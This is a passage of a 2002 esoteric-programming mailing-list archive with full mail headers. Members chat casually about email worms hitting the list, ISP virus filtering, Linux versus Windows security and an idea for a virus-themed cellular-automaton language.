would have to constantly deal with corrupted or partially unreadable data from
the other type of node. Or maybe not. Other possibilities include a more generic
simulation where the more common kind of node (whichever kind it happens to be)
can intercommunicate the most efficiently, and is the most efficient vector for
disease. Just some thoughts as I wake up...





From esoteric@oiva.sange.fi Thu May 30 00:56:26 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBQY-000MHV-00; Thu, 30 May 2002 00:56:18 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 00:56:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBQJ-000MHP-00; Thu, 30 May 2002 00:56:03 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 00:55:56 +0300 (EEST)
Received: from static-dialup-isdn-ana.cu.soltec.net ([64.5.68.221] helo=study.anacroatan.org)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBQB-000MHJ-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 00:55:55 +0300
Received: from justin by study.anacroatan.org with local (Exim 3.12 #1 (Debian))
	id 17DBoC-0001fn-00
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 17:20:44 -0500
To: lang@esoteric.sange.fi
Subject: [lang] headers
Message-Id: <E17DBoC-0001fn-00@study.anacroatan.org>
From: justin@anacroatan.org
Date: Wed, 29 May 2002 17:20:44 -0500
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
X-list: misc

sorry about quoting all the headers in that last mail, like I said, I just woke up...
justin





From esoteric@oiva.sange.fi Thu May 30 10:54:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DKl8-000Nrb-00; Thu, 30 May 2002 10:54:10 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 10:54:03 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DKkh-000NrV-00; Thu, 30 May 2002 10:53:44 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 10:53:36 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DKkZ-000NrP-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 10:53:35 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4U7rYO26387
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 10:53:34 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4U7rVd22399
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 10:53:31 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Thu, 30 May 2002 10:53:31 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
In-Reply-To: <000401c206ec$082053a0$a500000a@td165>
Message-ID: <Pine.LNX.4.44.0205301050450.22123-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

> [mailto:lang-bounce@esoteric.sange.fi]On Behalf Of D De Villiers
> Fortunatly for me my ISP check all me emails (outgoing/incomming) for
> viruses and the virus was blocked before reaching me ! :)

On Wed, 29 May 2002 dmoss@tdsi.co.uk wrote:
> same here

Hey, please. Viruses (or `viri') cause enough superfluous traffic without
totally noninformative "hey, doesn't concern me" notifications.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Thu May 30 11:10:32 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DL0v-000NxR-00; Thu, 30 May 2002 11:10:29 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 11:10:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DL0d-000NxL-00; Thu, 30 May 2002 11:10:11 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 11:10:03 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DL0T-000Nx6-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 11:10:02 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Thu, 30 May 2002 09:08:47 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Fortunately For Me - Virus Blocking !
Date: Thu, 30 May 2002 09:08:26 +0100
Message-ID: <000001c207b1$2df54610$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <Pine.LNX.4.44.0205301050450.22123-100000@melkinpaasi.cs.Helsinki.FI>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

> [mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Panu A Kalliokoski
> Sent: 30 May 2002 08:54
> To: lang@esoteric.sange.fi
> Subject: [lang] Re: Fortunatly For Me - Virus Blocking !

> Hey, please. Viruses (or `viri') cause enough superfluous traffic without
> totally noninformative "hey, doesn't concern me" notifications.

Such as this message, you mean?

And it does concern me. What I was trying to put across was that a little
bit of security on the side of any network that connects to the internet
never goes unnoticed.

David.






From esoteric@oiva.sange.fi Thu May 30 12:19:23 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DM5N-000OJi-00; Thu, 30 May 2002 12:19:09 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 12:19:00 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DM51-000OJU-00; Thu, 30 May 2002 12:18:47 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 12:18:38 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DM4q-000OJO-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 12:18:37 +0300
Received: from lennie (woc53-01-p42.wc.saix.net [155.239.129.42])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g4U9IQv04023
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 11:18:28 +0200 (SAT)
Message-ID: <004101c207ba$205a5e60$2a81ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <000201c206e9$9841f040$c081ef9b@lennie> <3CF54969.FFE2ADCF@dds.nl>
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Date: Thu, 30 May 2002 10:38:24 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Milo van Handel,

> Yeah, but some ISPs might screw up and block something that shouldn't be,
and
> you'll never know what it was...

Not in my case... My ISP send me a notification if something was blocked,
which include the sender's email address, name of file-attachment, name of
virus etc. Sothat I can contact the sender if there's any problem.

> My solution: don't use software vulnerable to these virusses.  I have yet
to
> see a virus that can infect my Linux box...

True ! :) The problem here is that everyone is using MS Windows as there
main OS. So this is the target for all virus infection ! <g> Here in South
Africa (ZA) only some companies are using Linux (but at a minimum) where
about 99% is running MS Windows.

Kind Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Thu May 30 18:07:13 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRVx-00006a-00; Thu, 30 May 2002 18:06:57 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 18:06:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRVY-00006U-00; Thu, 30 May 2002 18:06:32 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 18:06:24 +0300 (EEST)
Received: from static-dialup-isdn-ana.cu.soltec.net ([64.5.68.221] helo=study.anacroatan.org)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRVP-00006J-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 18:06:23 +0300
Received: from justin by study.anacroatan.org with local (Exim 3.12 #1 (Debian))
	id 17DRtV-0002ig-00
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 10:31:17 -0500
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Message-Id: <E17DRtV-0002ig-00@study.anacroatan.org>
From: justin@anacroatan.org
Date: Thu, 30 May 2002 10:31:17 -0500
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
X-list: misc

D De Villiers wrote:

--snip--
> The problem here is that everyone is using MS Windows as there
> main OS. So this is the target for all virus infection ! <g> Here in South
> Africa (ZA) only some companies are using Linux (but at a minimum) where
> about 99% is running MS Windows.
--snip--

But, the design of a system is important too. Root, the only one who's account
can significantly harm my computer, cannot recieve mail (mail addressed to
root goes to my user account). A virus writer would have to request in their
email "please execute this code as root" and hope I did what they said. I don't
even have a way to automaticly run executables mailed to me (I could have a way,
yes, but I purposely set it up so I (and more importantly others who use this
machine who are less clueful) do not).





From esoteric@oiva.sange.fi Thu May 30 18:30:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRsE-0000AA-00; Thu, 30 May 2002 18:29:58 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 18:29:51 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRs6-0000A3-00; Thu, 30 May 2002 18:29:50 +0300
Received: with LISTAR (v0.129a; list chat); Thu, 30 May 2002 18:29:48 +0300 (EEST)
Received: from [194.78.208.93] (helo=decis.be)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DRs3-00009x-00
	for chat@esoteric.sange.fi; Thu, 30 May 2002 18:29:48 +0300
Received: from decis.be [192.168.0.20] by decis.be [194.78.208.93]
	with SMTP (MDaemon.v3.5.3.R)
	for <chat@esoteric.sange.fi>; Thu, 30 May 2002 17:17:30 +0200
Message-ID: <3CF646A4.48BB0214@decis.be>
Date: Thu, 30 May 2002 17:35:00 +0200
From: Frederic van der Plancke <fvdp@decis.be>
Organization: Decis
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: chat@esoteric.sange.fi
Subject: [chat] Worms as spam - Was: VIRUS ALERT
References: <Pine.LNX.4.44.0205290853520.6613-100000@melkinpaasi.cs.Helsinki.FI>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MDRemoteIP: 192.168.0.20
X-Return-Path: fvdp@decis.be
X-MDaemon-Deliver-To: chat@esoteric.sange.fi
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
X-list: misc

Panu A Kalliokoski wrote:
> 
> On Tue, 28 May 2002, Frederic van der Plancke wrote:
> > Now is this both spam & worm at the same time ?
> 
> Well, I think all self-propagating postings are also spam (because they're
> sent to their recipients obviously contrary to recipients' wills).

I was thinking about the way SPAMmers manipulate mail headers to disguise
their actual origin. The worm [lang] has received had a bogus Sender field,
it seems, I was surprised by that (but probably should have not been.)

Now, worms like the ones I've got carry on their own mail engine so I guess
they can forge, er, devise their headers at will.

> 
> > And why did I receive 2 worm or viruses in 24 hours - and no other in
> > the last 6 months ?
> 
> Today's worms usually are S-strategists (hope I remember the letters the
> right way) - that is, instead of relying on intelligent behavior and
> stealth, they put all their strength to rapid spreading. This is usually
> made possible by extremely stupid users and extremely stupid security
> holes in e-mail clients (should I mention the magic M$ word?), and the
> worms are totally dependent on uniformity in the software choices of the
> user base. As such, today's worms cause big temporary trouble, get quickly
> squished, and are quickly forgotten. (M$'s policy seems to be patching the
> holes as they get exploited, not as they are found.)

hmmm... except that the offending worms were first noticed in Autumn 2001...
I do think the two recent attacks I got were related. One went through [lang]
and the other reached me directly - guess the (human innocent) sender has my
address somewhere : not surprising. (But they were *different* worms...)

Frédéric vdP.






From esoteric@oiva.sange.fi Thu May 30 21:15:51 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DUSR-0000aS-00; Thu, 30 May 2002 21:15:31 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 21:15:23 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DUSI-0000aM-00; Thu, 30 May 2002 21:15:22 +0300
Received: with LISTAR (v0.129a; list chat); Thu, 30 May 2002 21:15:21 +0300 (EEST)
Received: from mailer3.bham.ac.uk ([147.188.128.54])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DUSB-0000aG-00
	for chat@esoteric.sange.fi; Thu, 30 May 2002 21:15:15 +0300
Received: from bham.ac.uk ([147.188.128.127])
	by mailer3.bham.ac.uk with esmtp (Exim 3.16 #2)
	id 17DUS9-0004M9-00
	for chat@esoteric.sange.fi; Thu, 30 May 2002 19:15:13 +0100
Received: from is-fs12.bham.ac.uk ([147.188.127.28])
	by bham.ac.uk with esmtp (Exim 3.16 #3)
	id 17DUS9-0003BV-00
	for chat@esoteric.sange.fi; Thu, 30 May 2002 19:15:13 +0100
Received: from htrtttt [147.188.17.15] by is-fs12.bham.ac.uk
	with Novonyx SMTP Server $Revision:   2.75.1.9  $; Thu, 30 May 2002 19:15:18 +0100 (BST)
Message-ID: <004f01c20806$4f800090$0f11bc93@htrtttt>
From: "fyl2xp1" <vnhu38f93@subdimension.com>
To: <chat@esoteric.sange.fi>
References: <Pine.LNX.4.44.0205290853520.6613-100000@melkinpaasi.cs.Helsinki.FI> <3CF646A4.48BB0214@decis.be>
Subject: [chat] Re: Worms as spam - Was: VIRUS ALERT
Date: Thu, 30 May 2002 19:17:51 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: vnhu38f93@subdimension.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: vnhu38f93@subdimension.com
Precedence: bulk
X-list: misc

Hello, I am trying to contact Chris Pressey, I would be grateful if someone
could
help me by giving me the relevant information to do so.
----- Original Message -----
From: "Frederic van der Plancke" <fvdp@decis.be>
To: <chat@esoteric.sange.fi>
Sent: Thursday, May 30, 2002 4:35 PM
Subject: [chat] Worms as spam - Was: VIRUS ALERT


> Panu A Kalliokoski wrote:
> >
> > On Tue, 28 May 2002, Frederic van der Plancke wrote:
> > > Now is this both spam & worm at the same time ?
> >
> > Well, I think all self-propagating postings are also spam (because
they're
> > sent to their recipients obviously contrary to recipients' wills).
>
> I was thinking about the way SPAMmers manipulate mail headers to disguise
> their actual origin. The worm [lang] has received had a bogus Sender
field,
> it seems, I was surprised by that (but probably should have not been.)
>
> Now, worms like the ones I've got carry on their own mail engine so I
guess
> they can forge, er, devise their headers at will.
>
> >
> > > And why did I receive 2 worm or viruses in 24 hours - and no other in
> > > the last 6 months ?
> >
> > Today's worms usually are S-strategists (hope I remember the letters the
> > right way) - that is, instead of relying on intelligent behavior and
> > stealth, they put all their strength to rapid spreading. This is usually
> > made possible by extremely stupid users and extremely stupid security
> > holes in e-mail clients (should I mention the magic M$ word?), and the
> > worms are totally dependent on uniformity in the software choices of the
> > user base. As such, today's worms cause big temporary trouble, get
quickly
> > squished, and are quickly forgotten. (M$'s policy seems to be patching
the
> > holes as they get exploited, not as they are found.)
>
> hmmm... except that the offending worms were first noticed in Autumn
2001...
> I do think the two recent attacks I got were related. One went through
[lang]
> and the other reached me directly - guess the (human innocent) sender has
my
> address somewhere : not surprising. (But they were *different* worms...)
>
> Frédéric vdP.
>
>
>
>
>






From esoteric@oiva.sange.fi Thu May 30 23:51:36 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWtF-0000wh-00; Thu, 30 May 2002 23:51:21 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 23:51:14 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWsW-0000wb-00; Thu, 30 May 2002 23:50:36 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 23:50:28 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWsN-0000wV-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 23:50:27 +0300
Received: from dds.nl (xs241-240-20.dial.tiscali.nl [195.241.240.20])
	by pandora.tiscali.nl (Postfix) with ESMTP id A051E373C3
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 22:50:02 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3CF698D5.B9B0DCA3@dds.nl>
Date: Thu, 30 May 2002 23:25:41 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
References: <E17DRtV-0002ig-00@study.anacroatan.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

justin@anacroatan.org wrote:

> D De Villiers wrote:
>
> --snip--
> > The problem here is that everyone is using MS Windows as there
> > main OS. So this is the target for all virus infection ! <g> Here in South
> > Africa (ZA) only some companies are using Linux (but at a minimum) where
> > about 99% is running MS Windows.
> --snip--
>
> But, the design of a system is important too. Root, the only one who's account
> can significantly harm my computer, cannot recieve mail (mail addressed to
> root goes to my user account). A virus writer would have to request in their
> email "please execute this code as root" and hope I did what they said. I don't
> even have a way to automaticly run executables mailed to me (I could have a way,
> yes, but I purposely set it up so I (and more importantly others who use this
> machine who are less clueful) do not).

"Note that if I can get you to \"su and say\" something just by asking,
you have a very serious security problem on your system and you should
look into it."
(By Paul Vixie, vixie-cron 3.0.1 installation notes)

However, although root might be necessary to completely destroy your computer,
you're probably keeping most of your data under that user account, so a virus that
simply deletes the victim's home directory and ignores the rest could in principal
work.  The real reason that Linux is so secure is that neither the script kiddies
nor the people who click on viri are smart enough to understand how to use Linux.






From esoteric@oiva.sange.fi Thu May 30 23:53:28 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWvH-0000xY-00; Thu, 30 May 2002 23:53:27 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 23:53:19 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWv7-0000xS-00; Thu, 30 May 2002 23:53:17 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 23:53:10 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DWuz-0000xM-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 23:53:09 +0300
Received: from dds.nl (xs241-240-20.dial.tiscali.nl [195.241.240.20])
	by pandora.tiscali.nl (Postfix) with ESMTP id 9C6753776F
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 22:53:05 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3CF6998D.CAAD211A@dds.nl>
Date: Thu, 30 May 2002 23:28:46 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
References: <E17DBdE-0001eu-00@study.anacroatan.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

justin@anacroatan.org wrote:

> How about a celular automata type programming language, where nodes that can
> share data the most compatibly (read all each others .doc files and the other
> guy's .tar.Bz2s) are the most vulnerable to viruses in the network coming from
> "script kiddie" nodes. The nodes that are least vulnerable to these viruses
> would have to constantly deal with corrupted or partially unreadable data from
> the other type of node. Or maybe not. Other possibilities include a more generic
> simulation where the more common kind of node (whichever kind it happens to be)
> can intercommunicate the most efficiently, and is the most efficient vector for
> disease. Just some thoughts as I wake up...

Sounds interesting.  Maybe now you're awake you can explain it more clearly...

But remember that if this is a programming language, you have to give the
programmer some reason to want to make script kiddie nodes.  Thus, for the language
to be interesting, viri have to actually be necessary in order to achieve Turing
completeness.






From esoteric@oiva.sange.fi Fri May 31 05:10:08 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DbrY-0001nK-00; Fri, 31 May 2002 05:09:56 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 05:09:49 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dbr7-0001nE-00; Fri, 31 May 2002 05:09:29 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 31 May 2002 05:09:22 +0300 (EEST)
Received: from static-dialup-isdn-ana.cu.soltec.net ([64.5.68.221] helo=study.anacroatan.org)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dbqy-0001n8-00
	for lang@esoteric.sange.fi; Fri, 31 May 2002 05:09:21 +0300
Received: from justin by study.anacroatan.org with local (Exim 3.12 #1 (Debian))
	id 17DcF8-0003cE-00
	for <lang@esoteric.sange.fi>; Thu, 30 May 2002 21:34:18 -0500
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Message-Id: <E17DcF8-0003cE-00@study.anacroatan.org>
From: justin@anacroatan.org
Date: Thu, 30 May 2002 21:34:18 -0500
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
X-list: misc

Milo van Handel wrote:

> Sounds interesting.  Maybe now you're awake you can explain it more clearly...

> But remember that if this is a programming language, you have to give the
> programmer some reason to want to make script kiddie nodes.  Thus, for the language
> to be interesting, viri have to actually be necessary in order to achieve Turing
> completeness.

My initial idea sounds more and more like a simulation of some sort than a
language now. Maybe It could be something analous to wierd or rube or that
language with all the mice and cheese in it. I don't know that I could design a
lanuage like that... The role of a script kiddie would be to reduce the number
of active nodes, or to control the content of their network traffic, maybe...
(the whole thing was thought up recovering from a fever and trying to quit
smoking, and as noted before, just after I woke up, perhaps not the best state
of mind for inventing an esoteric language, or maybe the optimal state).





From esoteric@oiva.sange.fi Fri May 31 07:53:26 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DePa-00024B-00; Fri, 31 May 2002 07:53:14 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 07:53:06 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DePE-000245-00; Fri, 31 May 2002 07:52:52 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 31 May 2002 07:52:45 +0300 (EEST)
Received: from [65.162.45.226] (helo=luminet.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DeOz-00023z-00
	for lang@esoteric.sange.fi; Fri, 31 May 2002 07:52:43 +0300
Received: (from dseaman@localhost) by localhost (8.7.5/8.7.3) id XAA00248 for lang@esoteric.sange.fi; Thu, 30 May 2002 23:54:30 -0500
Date: Thu, 30 May 2002 23:54:30 -0500
From: David Seaman <dseaman@luminet.net>
Message-Id: <200205310454.XAA00248@luminet.net>
To: lang@esoteric.sange.fi
Subject: [lang] Malbolge
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dseaman@luminet.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
